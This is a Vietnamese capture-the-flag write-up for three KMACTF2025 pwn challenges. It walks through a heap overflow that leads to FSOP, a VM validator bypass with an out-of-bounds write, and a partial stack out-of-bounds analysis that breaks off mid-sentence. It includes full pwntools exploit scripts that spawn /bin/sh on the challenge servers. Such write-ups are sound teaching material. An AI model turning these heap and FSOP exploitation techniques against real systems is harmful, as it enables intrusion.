# KMACTF2025 T9 ## compression ### Tóm tắt chương trình - Trước hết, chương trình cho phép ta nhập vào size và string để tạo ra 1 chunk (using malloc). Chunk này được đặt là `buffer` - Sau đó là menu với 6 lựa chọn (lựa chọn 4 bị ẩn là `free(buffer)` ) ![image](https://hackmd.io/_uploads/rydtYhP2ge.png) - Tới với **lựa chọn 1** là `compress buffer` ``` c= if ( !buffer || !*buffer ) return 0LL; input_len = strlen(buffer); compressed_string = (char *)malloc(2 * input_len + 1); if ( !compressed_string ) return 0LL; output_index = 0; for ( i = 0; i < input_len; i = j ) { current_char = buffer[i]; count = 1; for ( j = i + 1; j < input_len && current_char == buffer[j]; ++j ) ++count; output_index += sprintf(&compressed_string[output_index], "%d%c", count, (unsigned int)current_char); } compressed_string[output_index] = 0; return compressed_string; } ``` - Hàm này không có bug, mục đích là sử dụng cơ chế `rle-compress` để nén lại chuỗi mình đã nhập vào -- Ví dụ: mình nhập chuỗi `AAAABBBCC` thì hàm này sẽ trả về 1 chunk trong đó có chuỗi `4A3B2C`, chunk này sẽ có size gấp đôi chunk buffer mình malloc từ đầu tiên và được gán làm biến `result` trong main -- **Noti**: hàm này sẽ malloc 1 chunk khác và thay đổi chunk đó chứ không change buffer. - **lựa chọn 2** là `decompress buffer` ``` c = if ( !compressed_string || !*compressed_string ) return 0LL; compressed_len = strlen(compressed_string); decompressed_string = (char *)malloc(compressed_len + 1); if ( !decompressed_string ) return 0LL; output_index = 0; for ( i = 0; i < compressed_len; i += offset + 1 ) { count = 0; __isoc99_sscanf(&compressed_string[i], "%d", &count); offset = 0; temp_count = count; while ( temp_count > 0 ) { temp_count /= 10; ++offset; } current_char = compressed_string[i + offset]; for ( j = 0; j < count; ++j ) { v2 = output_index++; decompressed_string[v2] = current_char; } } return decompressed_string; ``` - Hàm này sẽ 'gỡ rối' chunk bị `compress` -- Ví dụ: `4A3B2C` sẽ thành `AAAABBBCC` -- Hàm này malloc 1 chunk bằng đúng với chunk buffer mà ta đã malloc từ đầu và thay đổi chunk mới này. Chunk mới này sau đó được gán với cùng biến `result` trước đó. -- Hàm này có **bug** nên mình sẽ đi sâu hơn ở phần sau - **lựa chọn 3** là `change buffer` ``` c= printf_flush("size: "); __isoc99_scanf("%d", &size); if ( size ) { buffer = (char*)realloc(buffer, size + 1); printf_flush("string:"); read_byte(buffer, size); ``` -- Để ý hàm này có `realloc` tức là cái chunk buffer cũ sẽ ở nguyên vị trí, thay đổi được string trong chunk đó nếu size mới <= size cũ -> part 3 này sẽ giúp thay đổi buffer - **lựa chọn 4** là `free(result)` ``` c= free(result); result = 0LL; ``` -- Hàm này xóa luôn ptr sau khi free nên ko có bug ở đây ;-; - **lựa chọn 5** là `create comment` ``` c= case 5: // malloc comment if ( !cmt ) { cmt = (comment_t *)malloc(0x70uLL); printf_flush("enter your name:"); read(0, cmt, 0x64uLL); printf_flush("size:"); __isoc99_scanf("%d", &cmt->cmt_size); v4 = cmt; v4->comment = (char *)malloc(cmt->cmt_size + 1); printf_flush("enter your comment:"); read_byte(cmt->comment, cmt->cmt_size); } goto LABEL_16; ``` -- Hàm này sẽ malloc 1 chunk size `0x70` cho cmt, trong đó struct cmt là : ``` c= 00000000 struct comment_t // sizeof=0x70 00000000 { 00000000 char name[100]; //0x64 00000064 int cmt_size; 00000068 char *comment; 00000070 }; ``` -- phần `*comment` sẽ là 1 chunk được malloc với size nhập từ người dùng -- sau đó hàm read_byte() sẽ cho ta nhập vào cmt->comment -- cuối cùng `LABLE_16` sẽ giúp print ra `result` nếu result còn ptr - **lựa chọn 6** là `create comment` ```c= case 6: if ( cmt ) { printf_flush("new comment: "); read(0, cmt->comment, cmt->cmt_size); } ``` -- Đơn giản là ghi vào ptr *comment --> KẾT LUẬN: Chương trình cho phép ta malloc 1 chunk `buffer` ban đầu với size_chunk tùy ý, sau đó ta có thể compress cũng như decompress `buffer` này thành ptr `result`. Cuỗi cùng là có thể tạo cmt, chỉnh sửa cmt->comment và free(result) ### ? Where is bug ? - Ở hàm `decompress`: ``` c= if ( !compressed_string || !*compressed_string ) return 0LL; compressed_len = strlen(compressed_string); decompressed_string = (char *)malloc(compressed_len + 1); if ( !decompressed_string ) return 0LL; output_index = 0; for ( i = 0; i < compressed_len; i += offset + 1 ) { count = 0; __isoc99_sscanf(&compressed_string[i], "%d", &count); offset = 0; temp_count = count; while ( temp_count > 0 ) { temp_count /= 10; ++offset; } current_char = compressed_string[i + offset]; for ( j = 0; j < count; ++j ) { v2 = output_index++; decompressed_string[v2] = current_char; } } return decompressed_string; ``` - Mình sẽ theo flow của chương trình: -- Chương trình sẽ lấy số từ compressed_string cho vào biến `count` = `temp_count`, sau đó sẽ duyệt `temp_count` để có`offset` của chữ mà mình cần decompress, sau đó chạy for để ghi vào chunk `decompressed string` -- Nhưng bug cũng ở đây, đó là khi nếu khai báo `decompressed string` nhỏ, tầm 0x20 (32 bytes), nhưng `count` lại lên tới 100 - 0x64 bytes, thì lúc này biến decompressed_string sẽ ghi được ra ngoài chunk đó -> heap overflow -> **vậy idea sẽ là gì**: lúc mình ngồi xem lại code thì mình có nghĩ cái flow exploit như sau: -- Ở phần cmt, mình có thể tùy biến size của `create comment` - vì lẽ đó ta có thể malloc 1 chunk cực lớn, lúc này chunk đó sẽ ở 1 địa chỉ gần địa chỉ libc -> leak libc nhờ vào `print_flush(result)` + `decompress` , sau đó sử dụng `change buffer` và hàm `decompress` -> change địa chỉ libc trong `cmt->comment` bằng 1 địa chỉ khác và có thể ghi đè vào địa chỉ này. -- Vậy cách dễ nhất là ghi đè vào `stdout` và FSOP để lấy shell ### Exploit - Trước hết, vì hàm `decompress` malloc 1 chunk có size là `len(buffer) + 1`, còn `compress` malloc 1 chunk có size là `2*len(buffer) + 1`. Hơn nữa để overflow được `cmt->comment` thì chunk `cmt` phải ở dưới chunk `result` sẽ được `decompress` -> mình sẽ phải `compress` chunk `buffer` trước, sau đó `create comment` để `malloc(0x70)` rồi `free(result)` để cho chunk trong tcache giờ sẽ có 1 chunk rồi, sau khi `decompress` thì sẽ malloc lại chunk đó và overflow được chunk `cmt` ở dưới -> Như vấn đề đặt ra ở trên thì mình sẽ ưu tiên các chunk nhỏ `<=0x8` cho lần đầu tiên tạo buffer, vì `malloc(2*0x8+1) = malloc(0x20) = malloc(0x8 + 1)` - test trước nha !!! #### Leak libc base ``` c= name = b"136" + b"C" // mình để 136C là vì khi nhìn phần debug bên dưới, mọi người sẽ thấy để đè được tới phần địa chỉ libc // thì sẽ cần 0x2e7e3768-0x2e7e36e0 = 0x88 bytes = 136 sla(b"size: ", str(0x4).encode()) sla(b"string: ", name) sla(b"> ", b"1") sla(b"> ", b"4") sla(b"> ", b"5") sla(b"name:", b"A"*0x64) sla(b"size:", b"135168") #0x21000 pa = b"b"*0x21000 sla(b"comment:", pa) ``` trước khi `decompress` ![image](https://hackmd.io/_uploads/rJPcpfuhxe.png) sau khi `decompress` ![image](https://hackmd.io/_uploads/SkZqAzO2xe.png) - và ở đây sau khi decompress thì biến result được in ra, chung ta đã leak được libc ![image](https://hackmd.io/_uploads/SJdCCz_2ll.png) ![image](https://hackmd.io/_uploads/rJjeMQd2xe.png) --> đã leak được libc base #### FSOP - để ghi được vào stdout, thì mình phải sửa lại buffer trước, như đã nói ở trên thì `realloc` sẽ ghi lại vào đúng địa chỉ chunk của buffer cũ nếu size cũ >= size mới. Vì vậy chỉ cần ghi biến `name` sao cho size `<=0x18` là được - Mình sẽ tách stdout thành 6 phần, mỗi phần 1 bytes, ghi từng phần vô -- ví dụ: b"1" + b"\x41" = 1A = A ``` c= stdout = libc.address + 0x21b780 p1 = stdout & 0xff p2 = (stdout >> 8) & 0xff p3 = (stdout >> 16) & 0xff p4 = (stdout >> 24) & 0xff p5 = (stdout >> 32) & 0xff p6 = (stdout >> 40) & 0xff sla(b"> ", b"4") #change buffer sla(b"> ", b"3") sla(b"size: ", str(0x10).encode()) pa = name + b'1' + p8(p1) + b'1' + p8(p2) + b'1' + p8(p3) + b'1' + p8(p4) + b'1' + p8(p5) + b'1' + p8(p6) sla(b"string:", pa) sla(b"> ", b"2") ``` ![image](https://hackmd.io/_uploads/Bk-m4Qd2le.png) -> Đè thẳng vào phần flags bên trong struct của `_IO_2_1_stdout_` ![image](https://hackmd.io/_uploads/ryNV4X_2xx.png) - Cuối cùng mình chỉ cần ghi đè vào struct này ``` c= system = libc.symbols['system'] bin = u64(b'/bin/sh\0') fake_vtable = libc.sym['_IO_wfile_jumps']-0x18 stdout_lock = libc.symbols['_IO_stdfile_1_lock'] gadget = libc.address + 0x00000000001636a0 # add rdi, 0x10; jmp rcx; wide_data = libc.symbols['_IO_wide_data_1'] fake = FileStructure(0) fake.flags = 0x3b01010101010101 fake._IO_read_end= exe.symbols['win'] fake._IO_buf_end = gadget fake._IO_write_ptr=u64(b'/bin/sh\x00') # will be at rdi+0x10 fake._lock = stdout_lock fake._codecvt= stdout + 0xa8 fake._wide_data = wide_data # fake._freeres_list = stdout + 0x18 fake.unknown2=p64(stdout+0x18)+p64(0)*5+p64(fake_vtable) payload = bytes(fake) sla(b"> ", b"6") sla(b"new comment: ", payload) ``` - script fsop lấy cảm hứng từ [nobodyisnobody](https://github.com/nobodyisnobody/write-ups/tree/main/Hack.lu.CTF.2022/pwn/byor) - exploit local thành công ![image](https://hackmd.io/_uploads/S13YIXO3xe.png) - h sẽ thử trên server ![image](https://hackmd.io/_uploads/SyUnI7_hxx.png) ### FULL SCRIPT ``` c= #!/usr/bin/python3 from pwn import * exe = ELF('main_patched', checksec=False) libc = ELF('libc.so.6', checksec=False) context.binary = exe info = lambda msg: log.info(msg) s = lambda data: p.send(data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) sla = lambda msg, data: p.sendlineafter(msg, data) sn = lambda num: p.send(str(num).encode()) sna = lambda msg, num: p.sendafter(msg, str(num).encode()) sln = lambda num: p.sendline(str(num).encode()) slna = lambda msg, num: p.sendlineafter(msg, str(num).encode()) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' # b *0x00000000004018e6 # b *read_byte # b *0x0000000000401995 # b *0x000000000040190D # b *0x00000000004015F3 # b *0x00000000004019D0 b *0x00000000004018A8 c ''') input() if args.REMOTE: p = remote('165.22.55.200', 40001) # host = sys.argv[1].split(":") # p = remote(host[0],int(host[1]) ) else: p = process([exe.path]) GDB() # huong -> fsop name = b"136" + b"C" sla(b"size: ", str(0x4).encode()) sla(b"string: ", name) sla(b"> ", b"1") sla(b"> ", b"4") sla(b"> ", b"5") sla(b"name:", b"A"*0x64) sla(b"size:", b"135168") #0x21000 pa = b"b"*0x21000 sla(b"comment:", pa) sla(b"> ", b"2") p.recv(0x90) libc.address = u64(p.recv(6).ljust(8, b"\x00")) + 0x24ff0 print("[*] Libc address: " + hex(libc.address)) stdout = libc.address + 0x21b780 # stderr = libc.address + 0x21b6a0 p1 = stdout & 0xff p2 = (stdout >> 8) & 0xff p3 = (stdout >> 16) & 0xff p4 = (stdout >> 24) & 0xff p5 = (stdout >> 32) & 0xff p6 = (stdout >> 40) & 0xff sla(b"> ", b"4") #change buffer sla(b"> ", b"3") sla(b"size: ", str(0x10).encode()) pa = name + b'1' + p8(p1) + b'1' + p8(p2) + b'1' + p8(p3) + b'1' + p8(p4) + b'1' + p8(p5) + b'1' + p8(p6) sla(b"string:", pa) sla(b"> ", b"2") system = libc.symbols['system'] bin = u64(b'/bin/sh\0') fake_vtable = libc.sym['_IO_wfile_jumps']-0x18 stdout_lock = libc.symbols['_IO_stdfile_1_lock'] gadget = libc.address + 0x00000000001636a0 # add rdi, 0x10; jmp rcx; wide_data = libc.symbols['_IO_wide_data_1'] fake = FileStructure(0) fake.flags = 0x3b01010101010101 fake._IO_read_end= exe.symbols['win'] fake._IO_buf_end = gadget fake._IO_write_ptr=u64(b'/bin/sh\x00') # will be at rdi+0x10 fake._lock = stdout_lock fake._codecvt= stdout + 0xa8 fake._wide_data = wide_data # fake._freeres_list = stdout + 0x18 fake.unknown2=p64(stdout+0x18)+p64(0)*5+p64(fake_vtable) payload = bytes(fake) sla(b"> ", b"6") sla(b"new comment: ", payload) #KMACTF{b4ea67bc251316adb5313fd645f484b0} p.interactive() ``` ## matriska ### Tóm tắt chương trình và tìm lỗ hổng ``` c= #include<stdio.h> #include<stdlib.h> #include<stdint.h> #include<unistd.h> #include<string.h> #include"vm.h" #define NUM_VMS 0x10 void win() { system("/bin/sh"); } vm vms[NUM_VMS]; int add_vm(uint8_t *code) { if (!validate_code(code)) { printf("[-] VM code failed validation\n"); return 0; } for (int i = 0; i < NUM_VMS; i++) { //add 16 new vm if (!vms[i].active) { memset(&vms[i], 0, sizeof(vm)); memcpy(vms[i].code, code, CODE_SIZE); vms[i].active = 1; printf("[+] VM added at slot %d\n", i); return 1; } } printf("[-] No free VM slots available\n"); return 0; } // run a VM by index void run_vm_slot(int idx) { if (idx < 0 || idx >= NUM_VMS || !vms[idx].active) { printf("[-] Invalid VM index %d\n", idx); return; } printf("[*] Running VM at slot %d...\n", idx); if (run_vm(&vms[idx])) printf("[+] VM finished successfully\n"); else printf("[-] VM failed\n"); } void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); setvbuf(stderr, 0, 2, 0); } int main() { int choice; uint8_t code[CODE_SIZE]; init(); while (1) { printf("\nMenu:\n"); printf("1. Add VM\n"); printf("2. Run VM\n"); printf("3. Exit\n"); printf("> "); if (scanf("%d", &choice) != 1) break; if (choice == 1) { printf("Send code: "); read(0, code, CODE_SIZE); add_vm(code); } else if (choice == 2) { int idx; printf("Enter VM index to run: "); scanf("%d", &idx); run_vm_slot(idx); } else if (choice == 3) { break; } else { printf("[-] Invalid choice\n"); } } return 0; } ``` - Đây là chương trình khởi tạo và chạy vm, có thể khởi tạo tổng là 16 vm, phần `menu` cho phép ta thực hiện 2 thao tác là `add vm` và `run vm`, trong đó các vm này có thể thực hiện các chức năng như: > add_handler, // ADD > add_imm_handler, // ADD_IMM > sub_handler, // SUB > sub_imm_handler, // SUB_IMM > mul_handler, // MUL > mul_imm_handler, // MUL_IMM > > store_reg_reg_safe_handler, // STORE_REG_REG_SAFE > store_reg_reg_unsafe_handler, // STORE_REG_REG_UNSAFE > store_reg_imm_safe_handler, // STORE_REG_IMM_SAFE > store_reg_imm_unsafe_handler, // STORE_REG_IMM_UNSAFE > store_imm_reg_handler, // STORE_IMM_REG > store_imm_imm_handler, // STORE_IMM_IMM - Để khởi tạo 1 vm, mình sẽ phải đi qua các phần checking `validate code` trong đó sẽ check các mục sau: ```c= int validate_code(uint8_t *code) { uint32_t reg_max[NUM_REGS] = {0}; uint32_t pc = 0, ok = 0; while (pc < CODE_SIZE) { switch (code[pc]) { case ADD: case SUB: case MUL: { uint32_t reg1 = code[pc + 1]; uint32_t reg2 = code[pc + 2]; if (!validate_reg(reg1) || !validate_reg(reg2)) goto end; // reg1, reg2 <=5 if (code[pc] == ADD) reg_max[reg1] += reg_max[reg2]; pc += get_opcode_size(code[pc]); break; } case ADD_IMM: case SUB_IMM: case MUL_IMM: { uint32_t reg1 = code[pc + 1]; uint32_t imm = *(uint32_t*)&code[pc + 2]; if (!validate_reg(reg1)) goto end; if (code[pc] == ADD_IMM) reg_max[reg1] += imm; pc += get_opcode_size(code[pc]); break; } case STORE_REG_REG_SAFE: { uint32_t reg1 = code[pc + 1]; uint32_t reg2 = code[pc + 2]; if (!validate_reg(reg1) || !validate_reg(reg2)) goto end; if (reg_max[reg1] < MEM_SIZE) code[pc] = STORE_REG_REG_UNSAFE; pc += get_opcode_size(code[pc]); break; } case STORE_REG_IMM_SAFE: { uint32_t reg1 = code[pc + 1]; uint32_t imm = *(uint32_t*)&code[pc + 2]; if (!validate_reg(reg1)) //notcheck imm goto end; if (reg_max[reg1] < MEM_SIZE) code[pc] = STORE_REG_IMM_UNSAFE; pc += get_opcode_size(code[pc]); break; } case STORE_IMM_REG: { uint32_t imm = *(uint32_t*)&code[pc + 1]; uint32_t reg1 = code[pc + 5]; if (!validate_reg(reg1)) // not check imm goto end; if (imm >= MEM_SIZE) goto end; pc += get_opcode_size(code[pc]); break; } case STORE_IMM_IMM: { uint32_t imm1 = *(uint32_t*)&code[pc + 1]; uint32_t imm2 = *(uint32_t*)&code[pc + 5]; (void)imm2; //different // only imm1 needs validation //not check if (imm1 >= MEM_SIZE) goto end; pc += get_opcode_size(code[pc]); break; } case RET: ok = 1; goto end; default: printf("Invalid opcode: 0x%x\n", code[pc]); goto end; } } end: return ok; } ``` - điểm đặc biệt cũng như là bug nhỏ để mình có thể exploit thành công chương trình này nằm ở việc chương tỉnh chỉ cộng/check vào biến `reg_max` khi pc là `add_imm`, `add`, `store_reg_safe`. Chính vì lẽ đó ta có thể tăng biến `reg_max` thông qua các hàm khác trong `handler_table` mà không sợ bị checking - bonus thêm vào đó là khi end 1 code mình sẽ phải dùng `b"\x0c"` để RET - hơn nữa thì vì hàm này sẽ read vào vm->code nên ta có thể ghi các giá trị tùy thích vào sau `b"\x0c"` và không gây ra lỗi. - hàm `run vm` sẽ thực hiện các thao tác mà mình đã nhập trong vm->pc ``` c= int run_vm(vm* vm) { // reset state for (int i = 0; i < NUM_REGS; i++) { vm->regs[i] = 0; //overflow nhẹ } vm->fail = 0; vm->pc = 0; memset(vm->mem, 0, MEM_SIZE*sizeof(uint32_t)); // execution loop while (!vm->fail) { opcode op = vm->code[vm->pc]; handler_table[op](vm); //add handler if (vm->code[vm->pc] == RET) break; } return !vm->fail; } ``` - phần `handler_table[op](vm)` sẽ chạy opcode mà mình đã cho vào `vm->code` ``` handler_t handler_table[] = { add_handler, // ADD add_imm_handler, // ADD_IMM sub_handler, // SUB sub_imm_handler, // SUB_IMM mul_handler, // MUL mul_imm_handler, // MUL_IMM store_reg_reg_safe_handler, // STORE_REG_REG_SAFE store_reg_reg_unsafe_handler, // STORE_REG_REG_UNSAFE store_reg_imm_safe_handler, // STORE_REG_IMM_SAFE store_reg_imm_unsafe_handler, // STORE_REG_IMM_UNSAFE store_imm_reg_handler, // STORE_IMM_REG store_imm_imm_handler, // STORE_IMM_IMM }; ``` - có đặc điểm trong bài này đó chính là bảng `handler_table[]` lại nằm ngay bên dưới bảng got , bên trên `vms`. Chính vì nằm bên trên `vms` nên mình nghĩ tới trường hợp `liệu nếu ta nhập op>12 thì ta có thể thực hiện được hàm phía dưới không`. Mình đã thử set các hàm và chạy thử: ![image](https://hackmd.io/_uploads/B1hsvpoheg.png) ![image](https://hackmd.io/_uploads/rJrWdpi3xl.png) - mình set thử hàm `win` ở `vms`, và set lại `vm->pc` thành `handler_table[0x18]` thì có được shell ![image](https://hackmd.io/_uploads/By_SdTsnel.png) **--> idea : thay doi vm->pc , sau khi da validate xong, de chay handler_table[pc] -> chay đc win** - **quan trọng là tiêm hàm win vào đâu và thay đổi vm->pc ra sao** ### Exploit - Sau 7749 lần test thì mình phát hiện hàm `store_reg_imm_unsafe_handler` có lỗi `oob` ``` c= void store_reg_imm_unsafe_handler(vm* vm) { uint32_t reg1, imm; reg1 = vm->code[vm->pc + 1]; imm = *(uint32_t*)&vm->code[vm->pc + 2]; vm->mem[vm->regs[reg1]] = imm; vm->pc += get_opcode_size(vm->code[vm->pc]); } ``` - Vì `regs[reg1]` là thuộc kiểu dữ liệu `unsigned int`, với giá trị max là `0xffffffff` vì vậy ta hoàn toàn có thể out of bound ghi xa khỏi vm0, sang vm1 và các vm khác - Nên ở đây idea của mình sẽ là tạo 2 cái vm với `validate code` trước, sau đó dùng hàm `store_reg_imm_unsafe_handler` để có thể ghi đè vào `code đã validate của vm1` bởi biến `vm->pc` vốn chỉ check các `pc mặc định từ 0 -> 12`, nếu quá giá trị 12 thì sẽ tạch -> phải dùng biện pháp ghi đè để có thể gọi `handler_table[offset]` - Mỗi vm có struct như sau: ``` c 00000000 struct vm // sizeof=0x82C 00000000 { // XREF: .bss:vms/r 00000000 uint32_t fail; 00000004 uint32_t active; // XREF: add_vm+51/o 00000004 // add_vm+C5/o ... 00000008 uint32_t pc; 0000000C uint8_t code[1024]; 0000040C uint32_t regs[8]; 0000042C uint32_t mem[256]; 0000082C }; ``` - giờ chúng ta sẽ exploit: -- Vì PIE tắt nên mình sẽ ghi địa chỉ cụ thể ở đây để mọi người có thể debug theo -- 0x405140 (vms) -> vms->mem = 0x405140+0x42c = 0x40556c -- mỗi biến của mảng mem gồm 4 bytes -> để đè được tới vm1->code thì cần ít nhất 0x101 bytes (có thể đè nhìu hơn để dễ chèn vm->pc hơn). Ở đây mình lấy offset 0x104, mọi người có thể lấy hơn tùy ý. Mình lấy 0x104 vì 0x104 = 0x4 * 0x41, trong đó 0x4 thì sẽ pass được qua `validate_reg` check, và 0x41 cũng pass qua check của `imm`. Tại sao mình lại dùng `nhân` chứ không phải cộng , là tại trong hàm `validate_code` có biến `regs_max` sẽ check coi nếu `imm > 0x100` thì sẽ không nhảy vô hàm `unsafe` mà lại nhảy vào hàm `safe`, cùng với đó là như mình nói ở trên có một số hàm như `mul imm` thì sẽ không check `regs_max` nên mình sẽ dùng `mul` để nhân 2 số vô với nhau tạo thành một số `>0x100` gây ra `oob` ```python= def add(code): sla(b"> ", b"1") sa(b"code: ", code) def run(num): sla(b"> ", b"2") sla(b"run: ", str(num).encode() # b1.1: cho 4 vào regs[0] #add_imm_handler pa = b"\x01\x00" + p32(0x4) # b1.2: mul regs[0] với 0x41 #mul_imm_handler pa += b"\x05\x00" + p32(0x41) #mul_imm_handler #b2: store_reg_imm_unsafe_handler -> ghi imm vào vm1->pc pa += b"\x08\x00" + p32(0x41414141) pa += b"\x0c" pa += p8(0) + p32(win) + p32(0) add(pa) pa1 = b"\x02\x00\x00\x0c" # test nên ko để gì add(pa1) run(0) run(1) ``` -- mình để 0x41414141 ở đây để nhìn cho dễ hơn ![image](https://hackmd.io/_uploads/BkJVNAs3ge.png) -> yeah ở địa chỉ của vm0->mem[0x104] ~ vm1->code đã có giá trị ta đè vào ![image](https://hackmd.io/_uploads/BkUKNCohle.png) - mình thấy rằng, handler_table[0x18] chính là địa chỉ win nên chỉ cần cho `vm1->pc` bất kì = 0x18, giờ mình sẽ sửa code chút để tìm xem chỗ nào là vm1->pc ``` python= win = 0x401256 #b1: add 0x104 vao regs[0] - ko được vì sẽ bị check regs_max -> idea: dùng hàm ko bị regs_max để sửa #ví dụ như hàm sub/mul handler or sub/mul imm_handler # có 0x104 = 0x4 * 0x41 -> cho 4 vào regs[0] , imm = 0x41 # b1.1: cho 4 vào regs[0] #add_imm_handler pa = b"\x01\x00" + p32(0x4) # b1.2: mul regs[0] với 0x41 #mul_imm_handler pa += b"\x05\x00" + p32(0x41) #mul_imm_handler #b2: store_reg_imm_unsafe_handler -> ghi imm vào vm1->pc pa += b"\x08\x00" + p32(0x41410000) pa += b"\x0c" pa += p8(0) + p32(win) + p32(0) # 0x405160 #hanlder_tanble[24] ~ 0x18 add(pa) pa1 = b"\x02\x00\x00" + b"\x02\x00\x00" + b"\x02\x00\x00" + b"\x02\x00\x00" pa1 += b"\x02\x00\x00" + b"\x02\x00\x00" + b"\x02\x00\x00" + b"\x02\x00\x00" pa1 += b"\x0c" add(pa1) input("WAIT") run(0) # run(1) chưa chạy 1 vội vì chạy 1 tức là chạy lun biến mình cần ghi ``` ![image](https://hackmd.io/_uploads/rJrVSAs3xg.png) -> mình sẽ sửa `0x414100` -> `0x411800` thì sẽ đè `0x18` vào vm1->pc (cách 3 bytes sau pc=2=sub) và chạy thử ![image](https://hackmd.io/_uploads/H1H9S0o2ge.png) -> lấy được shell local - get shell remote ![image](https://hackmd.io/_uploads/S1IarAj3lx.png) ### FULL SCRIPT ``` python = #!/usr/bin/python3 from pwn import * exe = ELF('matrishka_patched', checksec=False) libc = ELF('libc.so.6', checksec=False) context.binary = exe info = lambda msg: log.info(msg) s = lambda data: p.send(data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) sla = lambda msg, data: p.sendlineafter(msg, data) sn = lambda num: p.send(str(num).encode()) sna = lambda msg, num: p.sendafter(msg, str(num).encode()) sln = lambda num: p.sendline(str(num).encode()) slna = lambda msg, num: p.sendlineafter(msg, str(num).encode()) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' # b *validate_code # b *0x000000000040208F b *store_reg_imm_unsafe_handler c ''') input() if args.REMOTE: p = remote('165.22.55.200', 40004) # host = sys.argv[1].split(":") # p = remote(host[0],int(host[1]) ) else: p = process([exe.path]) GDB() def add(code): sla(b"> ", b"1") sa(b"code: ", code) def run(num): sla(b"> ", b"2") sla(b"run: ", str(num).encode()) # mem : 0x40556c 18 # idea : thay doi vm->pc , sau khi da validate xong, de chay handler_table[pc] -> chay đc win # quan trọng là tiêm hàm win vào đâu và thay đổi vm->pc ra sao # mình nghĩ idea sẽ là oob ở hàm X [vm0->vm1] -> ghi được vào vm->pc của biến sau # sau đó tiêm win ở hàm Y [vm0] # ko cần tính chỗ của win, chỉ cần ghi sau 0xc là được win = 0x401256 #b1: add 0x104 vao regs[0] - ko được vì sẽ bị check regs_max -> idea: dùng hàm ko bị regs_max để sửa #ví dụ như hàm sub/mul handler or sub/mul imm_handler # có 0x104 = 0x4 * 0x41 -> cho 4 vào regs[0] , imm = 0x41 # b1.1: cho 4 vào regs[0] #add_imm_handler pa = b"\x01\x00" + p32(0x4) # b1.2: mul regs[0] với 0x41 #mul_imm_handler pa += b"\x05\x00" + p32(0x41) #mul_imm_handler #b2: store_reg_imm_unsafe_handler -> ghi imm vào vm1->pc pa += b"\x08\x00" + p32(0x41180000) pa += b"\x0c" pa += p8(0) + p32(win) + p32(0) # 0x405160 #hanlder_tanble[24] ~ 0x18 add(pa) pa1 = b"\x02\x00\x00" + b"\x02\x00\x00" + b"\x02\x00\x00" + b"\x02\x00\x00" pa1 += b"\x02\x00\x00" + b"\x02\x00\x00" + b"\x02\x00\x00" + b"\x02\x00\x00" pa1 += b"\x0c" add(pa1) input("WAIT") run(0) run(1) #KMACTF{Nunmu1_m3oMCHUNeUn_Be083U1_M0Ll@Yo_ch@dich4GO_N30mU_aPAYo_6WaEnchAn7An3Un_MAReun_d4_GE0j1Nm41_b1g@_N@3r1neUn_YEOGI_N4M6Y30jY3O_H0nj4_U1Go_$ipj1_aNaYo_41lY30jusEYO_nunmuReu1_ChamN3un_B@N6b30p} #offset mem[0x104] -> sửa vm->regs[reg1] = 0x104 -> add_imm_handler p.interactive() ``` ## JSON Beauty ### Tóm tắt chương trình và tìm lỗ hổng ```c= int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { int v3; // eax int64_t random; // [rsp+0h] [rbp-20h] BYREF size_t size; // [rsp+8h] [rbp-18h] BYREF size_t nums; // [rsp+10h] [rbp-10h] char *json_data; // [rsp+18h] [rbp-8h] json_data = 0LL; current_user = (User *)malloc(0x109uLL); printf_flush("name: ", argv); nums = read(0, current_user, 0x100uLL); current_user->name[nums] = 0; // set ki tu cuoi = 0 random = value(); // maybe guess dc, set ki tu cuoi = 0 strncpy(current_user->key, (const char *)&random, 8uLL); current_user->key[8] = 0; while ( 1 ) { v3 = menu(); if ( v3 == 4 ) break; if ( v3 <= 4 ) { switch ( v3 ) { case 3: show_credential(); // ghi key = 0x00something -> strlen() loi -> oob break; case 1: // sua name printf_flush("name: "); nums = read(0, current_user, 0x100uLL); current_user->name[nums] = 0; break; case 2: // tao 1 chunk tuy size, co free -> leak dia chi nao do, nma in ra thi hoi kho => if ( json_data ) free(json_data); printf_flush("size: "); __isoc99_scanf("%lu", &size); json_data = (char *)malloc(size + 1); // uaf printf_flush("data: "); read_byte(json_data, size); // th1: da free, th2: chua free break; } } printf_flush("Beautified JSON:\n"); beautify_json(json_data); } exit(0); } void __cdecl show_credential() { int64_t cre; // [rsp+8h] [rbp-118h] BYREF char buffer[267]; // [rsp+10h] [rbp-110h] BYREF uint8_t key_len; // [rsp+11Bh] [rbp-5h] int i; // [rsp+11Ch] [rbp-4h] memset(buffer, 0, 0x109uLL); key_len = strlen(current_user->key); strcpy(buffer, current_user->key); key_len -= 4; strcpy(&buffer[key_len], current_user->name); // small oob for ( i = 0; (unsigned int)i <= 0x20; i += 8 ) { cre = 0LL; strncpy((char *)&cre, &buffer[i], 8uLL); printf_flush("%lx ", cre); } printf_flush("\n"); } ``` - Trước hết chương trình cho ta nhập biến `name` được lưu trong `current-user`, biến `key` thì sẽ được randomize, struct lưu 2 biến trên cơ bản là như sau: ``` 00000000 struct User // sizeof=0x109 00000000 { 00000000 char name[256]; 00000100 char key[9]; 00000109 }; ``` - Vô phần menu() chính thì ta có 3 lựa chọn: > 1. change_name: có tác dụng thay đổi biến `name`, ở đây có 1 cái bug nhỏ là khi mình nhập vô 256 bytes(0x100) thì numm=0x100 -> current_user->name[0x100] = 0 -> đè 1 bytes null sang biến `key` được ghi ngay sau nó > 2. khởi tạo 1 chunk `json_data` với size được nhập từ người dùng và ghi data vào chunk đó với size mình đã chọn (bắt buộc ghi đủ số bytes mình đã nhập) > 3. show_credential() : có tác dụng (intented) là print ra 1 dãy [1/2key][data] và lưu nó vào `cre`. Nhưng nhìn vô hàm này sẽ thấy có hàm `strlen`-nếu ta nhập vào 1 chuỗi có chứa bytes null ở đầu thì `strlen()` sẽ bằng 0. Vì vậy nó sẽ khiến cho `buf[key_len] = buf[-4]` . Mình cứ nghĩ nó sẽ ghi vào biến `name` nhưng mình đã nhầm. Khi gdb thì mình phát hiện nó không ghi vào `buf[-4]` mà lại ghi vào `buf[252] = buf[256-4]` có lẽ rằng vì biến `key_len` ban đầu được khai báo là `unsinged int 8 == 1 bytes dương` nên mới có sự thay đổi này. - Chính tại hàm `show_credential()` đã bị oob khi mình có thể 